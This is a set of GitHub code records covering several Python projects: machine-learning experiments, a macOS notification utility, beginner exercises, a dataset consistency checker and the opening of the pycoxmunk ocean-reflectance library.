training_scores.append(clf.score(X_train, y_train))\n testing_scores.append(clf.score(X_test, y_test))\n # 绘图\n from matplotlib import pyplot as plt\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.plot(splits, training_scores, label='traing score', marker='o')\n ax.plot(splits, testing_scores, label='testing score', marker='*')\n ax.set_xlabel('maxdepth')\n ax.set_ylabel('score')\n ax.set_title('Decision Tree Classification')\n ax.legend(framealpha=0.5, loc='best')\n plt.show()\n# DecisionTreeClassifiter_split(X_train, X_test, y_train, y_test, min_samples_split=20)\n\n\n# 考察评价切分质量的评价标准criterion对于分类性能的影响\ndef DecisionTreeClassifier_criterion(*data):\n X_train, X_test, y_train, y_test = data\n criterions = ['gini','entropy']\n for criterion in criterions:\n clf = DecisionTreeClassifier(criterion=criterion)\n clf.fit(X_train,y_train)\n print('criterion:%s'%criterion)\n print(\"Traing score:%f\" % (clf.score(X_train, y_train)))\n print(\"Testing score:%f\"%(clf.score(X_test,y_test)))\n# DecisionTreeClassifier_criterion(X_train, X_test, y_train, y_test)\n\n\n# 检测随机划分与最优划分的影响\ndef DecisionTreeClassifier_splitter(*data):\n X_train, X_test, y_train, y_test = data\n splitters = ['best','random']\n for splitter in splitters:\n clf = DecisionTreeClassifier(splitter=splitter)\n clf.fit(X_train,y_train)\n print(\"splitter:%s\"%splitter)\n print(\"Traing score:%f\" % (clf.score(X_train, y_train)))\n print(\"Testing score:%f\"%(clf.score(X_test,y_test)))\n# DecisionTreeClassifier_splitter(X_train, X_test, y_train, y_test)\n\n\n\n","repo_name":"zhengchengyy/BBDataProcessing","sub_path":"featureExtrator/DecisionTreeModelParam.py","file_name":"DecisionTreeModelParam.py","file_ext":"py","file_size_in_byte":6848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74074179948","text":"import argparse\nimport logging\nimport os\nimport subprocess as sp\nimport sys\nfrom functools import partial, wraps\nfrom typing import *\n\nfrom klaxon import config\nfrom klaxon.configuration import get_notifiers_provider_config\nfrom klaxon.exceptions import KlaxonExit\n\nENABLE_PUSH_NOTIFICATIONS = config.get(\"enable-notifiers\", False)\n\n\ndef klaxon(\n message=\"\",\n title=\"Klaxon\",\n subtitle=\"\",\n sound=\"bell\",\n push=ENABLE_PUSH_NOTIFICATIONS,\n provider_config_factory=None,\n):\n \"\"\"\n Wraps osascript.\n\n see https://apple.stackexchange.com/questions/57412/how-can-i-trigger-a-notification-center-notification-from-an-applescript-or-shel/115373#115373\n \"\"\"\n\n if sys.platform == \"darwin\":\n\n applescript = f'display notification \"{message}\" with title \"{title}\"'\n\n if subtitle:\n applescript += f' subtitle \"{subtitle}\"'\n\n if sound:\n applescript += f' sound name \"{sound}\"'\n\n process = sp.Popen(\n [\"osascript\", \"-\"],\n stdin=sp.PIPE,\n stderr=sp.PIPE,\n stdout=sp.PIPE,\n universal_newlines=True,\n )\n\n logging.debug(applescript)\n\n stdout, stderr = process.communicate(applescript)\n\n if process.returncode != 0:\n logging.error(stderr)\n raise SystemExit(stdout)\n\n else:\n logging.warning(\"osascript notifications from klaxon only work on Mac OS\")\n\n if push:\n _send_push_notifications(\n message=message,\n title=title,\n subtitle=subtitle,\n provider_config_factory=provider_config_factory,\n )\n\n\ndef klaxonify(\n func=None,\n title=\"Klaxon\",\n message=\"\",\n subtitle=\"\",\n sound=\"bell\",\n output_as_message=False,\n push=ENABLE_PUSH_NOTIFICATIONS,\n provider_config_factory=None,\n):\n \"\"\"\n Send a notification at the termination of a function.\n\n Args:\n func: the function to be decorated\n title: the notification title\n message: the notification message body\n subtitle: the notifiction subtitle\n sound: the notification sound\n output_as_message (bool): use the decorated function's output as the message body\n push: send push notification(s)\n provider_config_factory: factory for kwargs that will be passed to `notifiers.notify`\n\n Returns: decorated function\n\n \"\"\"\n\n def decorator(function):\n @wraps(function)\n def inner(*args, **kwargs):\n result = function(*args, **kwargs)\n klaxon(\n subtitle=subtitle if subtitle is not None else function.__name__,\n message=message if not output_as_message else result,\n title=title,\n sound=sound,\n push=push,\n provider_config_factory=provider_config_factory,\n )\n return result\n\n return inner\n\n if func is not None:\n return decorator(func)\n else:\n return decorator\n\n\ndef _send_push_notifications(\n title,\n subtitle,\n message,\n provider_config_factory: Optional[Callable[[str, str, str], dict]] = None,\n):\n \"\"\"Send push notifications.\"\"\"\n try:\n import notifiers\n except (ImportError, ModuleNotFoundError):\n raise KlaxonExit(\n os.linesep.join(\n [\n \"notifiers enabled but not installed\",\n \"$ pip(x) install klaxon[notifiers]\",\n ]\n )\n )\n\n if \"notifiers\" not in config:\n raise KlaxonExit(\"notifiers key not found in configuration\")\n\n message = message.strip('\"').strip(\"'\")\n\n provider_config = (\n get_notifiers_provider_config(message, subtitle, title)\n if provider_config_factory is None\n else provider_config_factory(message, subtitle, title)\n )\n\n for provider in config[\"notifiers\"]:\n name = provider[\"name\"]\n\n kwargs = {\n **provider_config.get(name, {}),\n **{k: v for k, v in provider.items() if k != \"name\"},\n }\n\n if (\n \"message\" in notifiers.get_notifier(name).required[\"required\"]\n and \"message\" not in kwargs\n ):\n kwargs[\"message\"] = message\n\n notifiers.notify(name, **kwargs)\n\n\ndef main():\n \"\"\"Parse arguments from command line and pass to notify function.\"\"\"\n parser = argparse.ArgumentParser(\n prog=\"klaxon\", description=\"Send Mac OS notifications through osascript.\",\n )\n\n parser.add_argument(\n \"--message\", \"-m\", default=\"\", help=\"The body of the notification\"\n )\n\n parser.add_argument(\n \"--title\", \"-t\", default=\"Klaxon\", help=\"The notification's title\"\n )\n\n parser.add_argument(\n \"--subtitle\", \"-s\", default=\"\", help=\"The notification's subtitle\"\n )\n\n parser.add_argument(\n \"--sound\", default=\"bell\", help=\"The sound the notification makes\"\n )\n\n parser.add_argument(\n \"--no-push\",\n \"-n\",\n action=\"store_false\",\n help=\"disable push notifications\",\n dest=\"push\",\n default=ENABLE_PUSH_NOTIFICATIONS,\n )\n\n read_stdin = sys.argv.pop() if sys.argv[-1].strip() == \"--\" else None\n\n args = parser.parse_args()\n\n klaxon_ = partial(\n klaxon,\n title=args.title,\n subtitle=args.subtitle,\n sound=args.sound,\n push=args.push,\n )\n\n if read_stdin is None:\n klaxon_(args.message)\n else:\n with sys.stdin as fd:\n klaxon_(fd.read())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"knowsuchagency/klaxon","sub_path":"klaxon/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"37"} +{"seq_id":"21053595325","text":"#有四个数字:1、2、3、4,能组成多少个互不相同且无重复数字的三位数?各是多少?\nfor a in range(1,5):\n for b in range(1,5):\n for c in range(1,5):\n if a!=b and b!=c and c!=a:\n print(\"%d%d%d\" %(a,b,c))\n\n\n\n#输入某年某月某���,判断这一天是这一年的第几天?\nyear=int(input('请输入年份:'))\nmonth=int(input('请输入月份:'))\nday=int(input('请输入某一个月的天数:'))\n\nmonths = [0,31,59,90,120,151,181,212,243,273,304,334]\nif 0 < month <= 12:\n sum = months[month-1]\nprint('这一天是这一年的%d日'%sum)\n\n\n\n","repo_name":"6iujiale/All_Projects","sub_path":"Python/python基础/练习/第四章/集合.py","file_name":"集合.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26198976063","text":"from setuptools import setup, find_packages\nimport sys\n\nwith open('README.md') as f:\n readme = f.read()\n\nwith open('LICENSE') as f:\n license = f.read()\n\nwith open('requirements.txt') as f:\n reqs = f.read()\n\nsetup(\n name='lmcsc',\n version='0.1.0',\n description='Chinese spelling check',\n long_description=readme,\n license=license,\n python_requires='>=2.7',\n include_package_data=True,\n exclude_package_date={'': ['.gitignore']},\n packages=find_packages(exclude=('data')),\n install_requires=reqs.strip().split('\\n'),\n dependency_links=[\n 'https://github.com/kpu/kenlm/archive/master.zip'\n ]\n)\n","repo_name":"wdimmy/LmCSC","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"34962608761","text":"import torch\nfrom torch import nn\nimport torch.functional as F\nfrom tqdm import tqdm\nfrom get_orlov_datasets import get_orlov_datasets\nfrom autoencoder import Autoencoder, Encoder, Decoder\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score\nimport lightning as L\nfrom lightning.pytorch.callbacks import Callback, LearningRateMonitor, ModelCheckpoint\nfrom lightning.pytorch.loggers import TensorBoardLogger\n\n\nPRETRAINED_AUTOENCODER_FILE = './checkpoints/autoencoder/old/ldim-2048_c_hid-32_lam-100-smaller-4/checkpoints/epoch=49-step=7500.ckpt'\nSUBIMAGE_SIZE = 224\nBATCH_SIZE = 64\nNUM_LOADERS_WORKERS = 8\nEPOCHS_NUM = 25\n\n\nclass ANet(L.LightningModule):\n def __init__(self):\n super().__init__()\n autoencoder_model = Autoencoder.load_from_checkpoint(PRETRAINED_AUTOENCODER_FILE)\n self.encoder = Encoder(num_input_channels=3, base_channel_size=32, latent_dim=2048)\n self.encoder.load_state_dict(autoencoder_model.encoder.state_dict())\n self.encoder.requires_grad_ = False\n self.fc = nn.Sequential(\n nn.Linear(2048, 512),\n nn.ReLU(),\n nn.Dropout(0.8),\n nn.Linear(512, 128),\n nn.ReLU(),\n nn.Dropout(0.8),\n nn.Linear(128, 32),\n nn.ReLU(),\n nn.Dropout(0.8),\n nn.Linear(32, 3)\n )\n self.criterion = nn.CrossEntropyLoss()\n self.example_input_array = torch.zeros(2, 3, SUBIMAGE_SIZE, SUBIMAGE_SIZE)\n\n\n def forward(self, x):\n x = self.encoder(x)\n x = self.fc(x)\n return x\n \n def _get_loss(self, batch):\n \"\"\"Given a batch of images, this function returns the loss\"\"\"\n x, y = batch # We do not need the labels\n output = self.forward(x)\n loss = self.criterion(output, y)\n output_labels = torch.argmax(output.cpu(), dim=1)\n acc = accuracy_score(y.cpu(), output_labels)\n prec = precision_score(y.cpu(), output_labels, average='macro', zero_division=0)\n rec = recall_score(y.cpu(), output_labels, average='macro', zero_division=0)\n return loss, acc, prec, rec\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=3e-4)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(\n optimizer, mode=\"min\", factor=0.3, patience=3, min_lr=5e-5\n )\n return {\n \"optimizer\": optimizer,\n \"lr_scheduler\": scheduler,\n \"monitor\": \"val_loss\",\n }\n\n def training_step(self, batch, batch_idx):\n loss, acc, prec, rec = self._get_loss(batch)\n self.log(\"train_loss\", loss)\n self.log(\"train_acc\", acc)\n self.log(\"train_precision\", prec)\n self.log(\"train_recall\", rec)\n return loss\n\n def validation_step(self, batch, batch_idx):\n loss, acc, prec, rec = self._get_loss(batch)\n self.log(\"val_loss\", loss)\n self.log(\"val_acc\", acc)\n self.log(\"val_precision\", prec)\n self.log(\"val_recall\", rec)\n\n def test_step(self, batch, batch_idx):\n loss, acc, prec, rec = self._get_loss(batch)\n self.log(\"test_loss\", loss)\n self.log(\"test_acc\", acc)\n self.log(\"test_precision\", prec)\n self.log(\"test_recall\", rec)\n\n\nif __name__ == '__main__':\n train_loader, val_loader, test_loader, additional = get_orlov_datasets(num_loaders_workers=NUM_LOADERS_WORKERS,\n batch_size=BATCH_SIZE, subimage_size=SUBIMAGE_SIZE)\n \n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n model = ANet()\n model = model.to(device)\n\n train_losses = []\n val_losses = []\n train_accs = []\n val_accs = []\n best_val_loss = float(\"inf\")\n criterion = torch.nn.CrossEntropyLoss()\n lr = 3e-4\n optimizer = torch.optim.Adam(model.parameters(), lr=lr)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, factor=0.33, patience=3)\n version = '1.0'\n\n root_dir = f\"./checkpoints/classifier/anet-{version}\"\n logger_version = f\"anet-{version}-lr-3e-4-dropout-0.8-2\"\n trainer = L.Trainer(\n default_root_dir=root_dir,\n accelerator=\"gpu\",\n devices=1,\n max_epochs=EPOCHS_NUM,\n log_every_n_steps=50,\n callbacks=[\n ModelCheckpoint(save_weights_only=True),\n LearningRateMonitor(\"epoch\"),\n ],\n logger=TensorBoardLogger(\n save_dir=root_dir, version=logger_version, name=\"lightning_logs\"\n ),\n )\n trainer.logger._log_graph = (\n True \n )\n trainer.logger._default_hp_metric = (\n None \n )\n model = ANet()\n # model = ANet.load_from_checkpoint('C:/_DIPLOMA/code/RESULT_CODE/experiments/224x224/checkpoints/classifier/lightning_logs/ldim-2048_c_hid-32_lam-100-smaller-3/checkpoints/epoch=34-step=5250.ckpt')\n trainer.fit(model, train_loader, val_loader)\n\n val_result = trainer.test(model, dataloaders=val_loader, verbose=False)\n test_result = trainer.test(model, dataloaders=test_loader, verbose=False)","repo_name":"PrometheusUA/lymphoma_decision_support","sub_path":"experiments/224x224/subimages_classifier.py","file_name":"subimages_classifier.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25040086463","text":"import sys\nsys.path.insert(0, '..') ## '../..' for parent-parent directory\n\nimport torch\nimport torch.nn as nn\n\nimport os\nimport argparse\nimport numpy as np\nimport random\n\nfrom mnist import load_mnist, load_fashion_mnist\nimport pt_ae_trainer as my\n\n\nclass Dataset(torch.utils.data.Dataset):\n def __init__(self, data):\n super().__init__()\n self.images, self.labels = data\n\n def __len__(self):\n return len(self.images)\n\n def __getitem__(self, idx):\n image = self.images[idx]\n image = torch.tensor(image).unsqueeze(dim=0).float()/255.\n label = self.labels[idx]\n label = torch.tensor(label).long()\n return image, label\n\n\ndef get_dataloader(data, batch_size, training=True, use_cuda=False):\n kwargs = {'num_workers': 12, 'pin_memory': True} if use_cuda else {}\n dataloader = torch.utils.data.DataLoader(dataset=Dataset(data),\n batch_size=batch_size,\n shuffle=training, **kwargs)\n return dataloader\n\n\ndef get_mlp_encoder(latent_dim=2):\n model = nn.Sequential(\n nn.Flatten(),\n nn.Linear(28*28, 256),\n nn.ReLU(),\n nn.Linear(256, latent_dim),)\n return model\n\n\ndef get_mlp_decoder(latent_dim=2):\n model = nn.Sequential(\n nn.Linear(latent_dim, 256),\n nn.ReLU(),\n nn.Linear(256, 28*28),\n nn.Sigmoid(),\n nn.Unflatten(dim=1, unflattened_size=(1, 28, 28)),)\n return model\n\n\ndef get_cnn_encoder(latent_dim=2):\n model = nn.Sequential(\n nn.Conv2d(1, 32, (3, 3), stride=2, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 64, (3, 3), stride=2, padding=1),\n nn.ReLU(),\n nn.Flatten(),\n nn.Linear(64*7*7, 256),\n nn.ReLU(),\n nn.Linear(256, latent_dim),)\n return model\n\n\ndef get_cnn_decoder(latent_dim=2):\n model = nn.Sequential(\n nn.Linear(latent_dim, 256),\n nn.ReLU(),\n nn.Linear(256, 64*7*7),\n nn.ReLU(),\n nn.Unflatten(dim=1, unflattened_size=(64, 7, 7)),\n nn.ConvTranspose2d(64, 64, (4, 4), stride=2, padding=1),\n nn.ReLU(),\n nn.ConvTranspose2d(64, 32, (4, 4), stride=2, padding=1),\n nn.ReLU(),\n nn.ConvTranspose2d(32, 1, (3, 3), stride=1, padding=1),\n nn.Sigmoid(),)\n return model\n\n\nif __name__ == \"__main__\":\n \n ## Parameters:\n p = argparse.ArgumentParser()\n p.add_argument(\"--image_shape\", type=tuple, default=(1, 28, 28))\n p.add_argument(\"--fashion\", action='store_const', const=True, default=False)\n p.add_argument(\"--mlp\", action='store_const', const=True, default=False)\n p.add_argument(\"--batch_size\", type=int, default=64)\n p.add_argument(\"--n_epochs\", type=int, default=10)\n p.add_argument(\"--log_interval\", type=int, default=1)\n p.add_argument(\"--cpu\", action='store_const', const=True, default=False)\n p.add_argument(\"--early_stop\", action='store_const', const=True, default=False)\n p.add_argument(\"--min_loss\", type=float, default=1e-4)\n p.add_argument(\"--patience\", type=int, default=5)\n p.add_argument(\"--log_dir\", type=str, default=\"log_pt_mnist_ae\")\n args = p.parse_args()\n \n manual_seed = 42\n random.seed(manual_seed)\n np.random.seed(manual_seed)\n\n use_cuda = not args.cpu and torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n if use_cuda:\n torch.cuda.manual_seed(manual_seed)\n else:\n torch.manual_seed(manual_seed)\n \n ## Dataset and Data Loaders:\n if args.fashion:\n data_path = '../../datasets/fashion_mnist'\n args.log_dir += \"_fashion\"\n train_data, valid_data, class_names = load_fashion_mnist(data_path, download=True)\n else:\n data_path = '../../datasets/mnist'\n train_data, valid_data, class_names = load_mnist(data_path, download=True)\n\n train_loader = get_dataloader(train_data, args.batch_size, training=True,\n use_cuda=use_cuda)\n valid_loader = get_dataloader(valid_data, args.batch_size, training=False,\n use_cuda=use_cuda)\n \n ## Modeling and Training:\n def binary_accuracy(x_pred, x_true):\n return torch.eq(x_pred.round(), x_true.round()).float().mean()\n \n encoder = get_mlp_encoder().to(device) if args.mlp else get_cnn_encoder().to(device)\n decoder = get_mlp_decoder().to(device) if args.mlp else get_cnn_decoder().to(device)\n args.log_dir += \"_mlp\" if args.mlp else \"_cnn\"\n\n ae = my.AutoEncoder(encoder, decoder)\n ae.compile(optim=torch.optim.Adam(ae.parameters()),\n loss_fn=nn.BCELoss(),\n metric_fn=binary_accuracy, metric_name=\"acc\")\n\n hist = my.train_with_metric(ae, train_loader, valid_loader, args)\n my.plot_progress(hist, args)\n \n ## Evaluation:\n encoder_weights = os.path.join(args.log_dir, args.log_dir + \"_encoder_weights.pth\")\n decoder_weights = os.path.join(args.log_dir, args.log_dir + \"_decoder_weights.pth\")\n trained_encoder = get_mlp_encoder().to(device) if args.mlp else get_cnn_encoder().to(device)\n trained_decoder = get_mlp_decoder().to(device) if args.mlp else get_cnn_decoder().to(device)\n trained_encoder.load_state_dict(torch.load(encoder_weights))\n trained_decoder.load_state_dict(torch.load(decoder_weights))\n\n trained_ae = my.AutoEncoder(trained_encoder, trained_decoder)\n trained_ae.compile(optim=torch.optim.Adam(ae.parameters()),\n loss_fn=nn.MSELoss(),\n # loss_fn=nn.BCELoss(),\n metric_fn=binary_accuracy, metric_name=\"acc\")\n\n loss, acc = my.evaluate(trained_ae, valid_loader)\n print(\"\\nTest: loss=%.4f, acc=%.4f\" % (loss, acc))","repo_name":"nampluskr/pjt_image","sub_path":"mnist_v4/ae/pt_mnist_ae.py","file_name":"pt_mnist_ae.py","file_ext":"py","file_size_in_byte":5723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23425672141","text":"# imports\nimport numpy as np\nimport pandas as pd\nfrom itertools import product\nimport networkx as nx\nimport time\n\n# starting the time for which the program shall run\nstart_time = time.time()\n\n# declaring all the essential variables and data structures\ngraph_array = []\ncv_list = []\nresult = 0\nnext_color_vector = 0\ngraph_no = 0\ntemp_list = []\ngraph_list = []\ngraph_int_list = []\nzero = [[]]\n\n# a dictionary which holds the value for all the variables before and after computations\ntable = {'Graph_number': [],\n 'Number_of_vertices': [],\n 'starting_colour_vector': [],\n 'ending_colour_vector': [],\n 'step_time': [],\n 'cycle': []\n }\n\n\n# function that creates the required zero matrix on user input\ndef get_zero_matrix(x):\n global zero\n zero = [[0] * x for _ in range(x)]\n print(\"The zero matrix for {} vertices is {}\".format(x, zero))\n\n\n# function to get the list of all possible colour vectors\ndef get_cv_list(rep):\n counter = 0\n for vector in product([1, -1], repeat=rep - 1):\n cv_list.append(list(vector))\n cv_list[counter].insert(0, 1)\n counter = counter + 1\n print(\"There are {} colour vectors in total for {} vertices\".format(counter, n))\n print(cv_list)\n print('\\n')\n\n return cv_list\n\n\n# function to get the list of all possible graphs\ndef get_graph_int_list(rep):\n counter = 0\n for graph in product([1, 0], repeat=rep):\n graph_int_list.append(list(graph))\n counter = counter + 1\n # additional counter for higher number of vertices\n if counter == 10000:\n break\n print(\"There are {} graphs in total for {} vertices\".format(counter, n))\n print(graph_int_list)\n print('\\n')\n\n return graph_int_list\n\n\n# checks whether the graph passed as a parameter is connected or not\ndef check_connected(x):\n for _ in x:\n if nx.is_connected(x):\n continue\n else:\n break\n\n\n# function checking for 0s in the color_vector and replacing them with the same index of the previous color_vector\ndef check_for_zeroes(x):\n for k in range(len(x)):\n if x[k] == 0:\n x[k] = color_vector[k]\n\n\n'''\nlength calculates the number of steps it takes for the algorithm to reach the same vector after it starts looping a\nvector, if the algorithm loops on the same vector, it will show 1. Otherwise, step would be number of vectors between\nthe starting loop vector and when it occurs again.\n\nwhereas step calculates the number of steps it takes for the algorithm to reach the starting\ncolour vector again in the colour vector list.\n'''\n\n\n# function that calculates and appends the values for 'step time' and 'cycle' to the dictionary\ndef calculate_length_of_cycle():\n length = len(temp_list) - temp_list.index(next_color_vector)\n step = temp_list.index(next_color_vector) + 1\n table['ending_colour_vector'].append(next_color_vector)\n table['step_time'].append(step)\n table['cycle'].append(length)\n\n\n# another append function for adding rest of the components of the algorithm to the dictionary\ndef append_to_table():\n table['starting_colour_vector'].append(cv_list[i])\n table['Number_of_vertices'].append(n)\n table['Graph_number'].append(graph_no)\n\n\n# taking input from the user\nn = int(input(\"Enter the number of vertices you want to do this for - \"))\nN = int(1 / 2 * n * (n - 1))\n\n# obtaining all the essential lists based on user input\nprint(\"The number of vertices (n) is {} which implies n bit binary string (N) is {}\".format(n, N))\nget_zero_matrix(n)\nget_graph_int_list(N)\nget_cv_list(n)\n\n# main algorithm\nfor g in graph_int_list:\n zeroes = zero\n graph_counter = 0\n for i in range(1, n):\n for j in range(0, i):\n zeroes[i][j] = g[graph_counter]\n graph_counter = graph_counter + 1\n\n zeroes = np.matrix(zeroes)\n zeroes = zeroes + np.matrix.transpose(zeroes)\n print(zeroes)\n matrix = np.array(zeroes)\n G = nx.from_numpy_matrix(matrix)\n graph_no = graph_no + 1\n if nx.is_connected(G):\n print(\"this graph is connected...\")\n for i in range(len(cv_list)):\n temp_list.clear()\n count = 0\n color_vector = np.array(cv_list[i])\n append_to_table()\n\n while True:\n result = np.matmul(matrix, color_vector)\n next_color_vector = np.sign(result).tolist()\n if count == 0:\n temp_list.append(color_vector.tolist())\n check_for_zeroes(next_color_vector)\n\n if next_color_vector not in temp_list:\n temp_list.append(next_color_vector)\n count = count + 1\n color_vector = next_color_vector\n\n else:\n calculate_length_of_cycle()\n break\n else:\n print(\"skipped this graph, because it is not connected.\")\n\n# converting all the computations in a tabular format\ndf = pd.DataFrame(table)\ndf.to_csv('..\\\\output\\\\4v.csv', index=False)\n\n# calculating and printing the total time it took to run the program\nprint(\"Program completed\")\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n\n\n\n\n","repo_name":"Sanskar-16/capstone","sub_path":"code/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21998947253","text":"# -*- coding: utf-8 -*-\nimport xml.dom.minidom\nimport os\nroot_path = '/home/thinking/detection_ws/nuScenes_tools/'\nannotation_path = root_path + 'TXT/'\nimg_path = root_path + 'CAM_ALL/'\nannotation_list = os.listdir(annotation_path)\nimg_list = os.listdir(img_path)\nif len(img_list) != len(annotation_list):\n print(\"图片和标签数目不匹配\")\n if len(img_list) < len(annotation_list):\n print(\"标签比图片多\")\n error_xml = []\n for _ in annotation_list:\n xml_name = _.split('.')[0]\n img_name = xml_name + '.jpg'\n if img_name not in img_list:\n error_xml.append(_)\n # os.remove(_)\n print(\"error xml:\", error_xml)\n \n else:\n print(\"图片比标签多\")\n error_img = []\n for _ in img_list:\n img_name = _.split('.')[0]\n xml_name = img_name + '.txt'\n if xml_name not in annotation_list:\n error_img.append(_)\n print(_)\n # os.remove(_)\n # print(\"缺少标签的图片:\", error_img)\n","repo_name":"BingqiShen/nuscenes-tools","sub_path":"nuScenes_2d_tools/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"4685840941","text":"def printRange(my_range):\n print(\"please enter value between 1 to \" + str(my_range))\n\n\nmylist = []\n\n\n# This function take input for given range and store it in list\ndef getInputInRange(my_range):\n for i in range(0, my_range):\n new_val = int(input(\"enter val \" + str(i + 1) + \":- \"))\n mylist.append(new_val)\n\n return True\n\n\n# This function check is input type is int\ndef isIntValue(val):\n True # type(int(val)) == int\n\n\nwhile True:\n firstRange = input(\"enter val :- \")\n firstRange = int(firstRange)\n if firstRange in range(1, 21):\n if getInputInRange(firstRange):\n print(\"List:- \\n\")\n print(mylist)\n break\n else:\n printRange(20)\n","repo_name":"dipak1267/python_tasks","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40734280839","text":"from pycoxmunk.CM_SceneGeom import CMSceneGeom, cm_calcangles\nfrom pycoxmunk.CM_Calcs import calc_coxmunk_wrapper, CMReflectance\nfrom pycoxmunk.CM_Shared_Wind import CMSharedWind\nfrom pycoxmunk.CM_PixMask import CMPixMask\nfrom satpy import Scene\nimport dask.array as da\nimport numpy as np\n\n\nclass PyCoxMunk:\n \"\"\"The main class for the library, sets up and runs processing.\n\n This code will estimate the sea surface reflectance as-seen from a given satellite\n instrument. It is closely integrated with the `satpy` library, which is used for reading\n the original satellite data and to store the reflectance output.\n\n To use, first load your data using a satpy Scene. Then, call this class giving the scene\n as an argument together with a list of band names to be processed.\n Optionally, you can provide an `oc_dir` that contains ocean color CCI files for use in estimating the\n reflectance.\n `angle_names` is optional and if used should be a dict of satellite and solar angle datasets within\n the Scene. The form is:\n ```\n {'sza': 'sza_name', 'vza': 'vza_name', 'saa': 'saa_name', 'vaa': 'vaa_name'}\n ```\n Where `sza_name` is the name of the solar zenith angle dataset within the Scene, `vza_name` is for\n the viewing zenith angle and `saa_name` plus `vaa_name` are the names of the solar and viewing azimuth\n angle datasets respectively.\n `do_brdf` is an optional argument to specify whether BRDF properties are calculated. This is\n `False` by default.\n `mask_bad` is optional and enables/disables masking data of bad quality, typically reflectance values\n that are unphysically low. It is `True` by default.\n `delete_when_done` is an optional boolean to specify whether intermediate datasets are deleted once\n the sea surface reflectance is calculated. This can help reduce memory use and is `True` by default.\n\n Once you have initialised this class, you can optionally add data masks with `setup_pixmask` and add\n wind information, which improves accuracy of the estimated reflectance, with `setup_wind`.\n\n The actual reflectances can then be computed with `retr_coxmunk_refl`. Results will then be available\n in the `scn` variable.\n Example:\n ```\n my_band = 'VIS800'\n\n my_scn = satpy.Scene(some_file)\n my_scn.load([my_band])\n my_pcm = pycoxmunk.PyCoxMunk(my_scn, [my_band], do_brdf=True)\n my_pcm.setup_wind(my_u10_wind, my_v10_wind)\n my_pcm.retr_coxmunk_refl()\n\n my_sea_refl = my_pcm.scn['cox_munk_refl_VIS800'].data\n \"\"\"\n\n def __init__(self, scn, band_names, oc_dir=None, angle_names='calc',\n do_brdf=False, mask_bad=True, delete_when_done=True):\n \"\"\"Initialise the class.\n Inputs:\n - scn: Satpy Scene, the scene containing data and angles.\n - band_names: List, if supplied lists all band names to process.\n - oc_dir: (optional) String, if supplied points to location of Ocean Color CCI data. Default: None\n - angle_names: (optional) Dict or string, if dict this should list all solar/satellite angle dataset names.\n If string of value 'calc' then pycoxmunk will attempt to calculate scene geometry internally. Default: 'calc'\n - do_brdf: Bool, if true then PyCoxMunk will also compute BRDF coefficients. Default: False\n - mask_bad: Bool, if true then pixels with bad data (f.ex zenith too high) will be set to np.nan. default: True\n - delete_when_done: Bool, if true then ancillary data will be deleted to save memory. default: True\n \"\"\"\n\n # Check types and set up variables\n if type(do_brdf) is bool:\n self.do_brdf = do_brdf\n else:\n raise ValueError(\"do_brdf variable must be boolean!\")\n\n if type(mask_bad) is bool:\n self.mask_bad = mask_bad\n else:\n raise ValueError(\"mask_bad variable must be boolean!\")\n\n if type(delete_when_done) is bool:\n self.delete_when_done = delete_when_done\n else:\n raise ValueError(\"delete_when_done variable must be boolean!\")\n\n if type(scn) is not Scene:\n raise ValueError(\"input scene variable must be a satpy Scene!\")\n else:\n self.scn = scn\n\n if type(band_names) is not list:\n raise ValueError(\"band_names variable must be a list!\")\n elif len(band_names) < 1:\n raise ValueError(\"band_names must contain at least one band!\")\n else:\n self.band_names = band_names\n\n if angle_names is not None and type(angle_names) is not dict and type(angle_names) is not str:\n raise ValueError(\"angle_names variable must be None, a dict or a string!\")\n elif angle_names is None or angle_names == 'calc':\n self.angle_names = {'sza': 'solar_zenith_angle',\n 'vza': 'satellite_zenith_angle',\n 'saa': 'solar_azimuth_angle',\n 'vaa': 'satellite_azimuth_angle'}\n elif 'sza' not in angle_names.keys():\n raise ValueError(\"angle_names dict must contain 'sza' key!\")\n elif 'vza' not in angle_names.keys():\n raise ValueError(\"angle_names dict must contain 'vza' key!\")\n elif 'saa' not in angle_names.keys():\n raise ValueError(\"angle_names dict must contain 'saa' key!\")\n elif 'vaa' not in angle_names.keys():\n raise ValueError(\"angle_names dict must contain 'vaa' key!\")\n else:\n self.angle_names = angle_names\n if angle_names == 'calc':\n self.scn = cm_calcangles(scn, refband=band_names[0])\n\n if oc_dir is None:\n self.use_occci = False\n elif type(oc_dir) is not str:\n raise ValueError(\"oc_dir variable must be None or a string!\")\n else:\n self.oc_dir = oc_dir\n self.use_occci = True\n\n # If angle and band names are supplied then check these are actually in the scene\n for bname in self.band_names:\n if bname not in self.scn:\n raise KeyError(f\"User-supplied 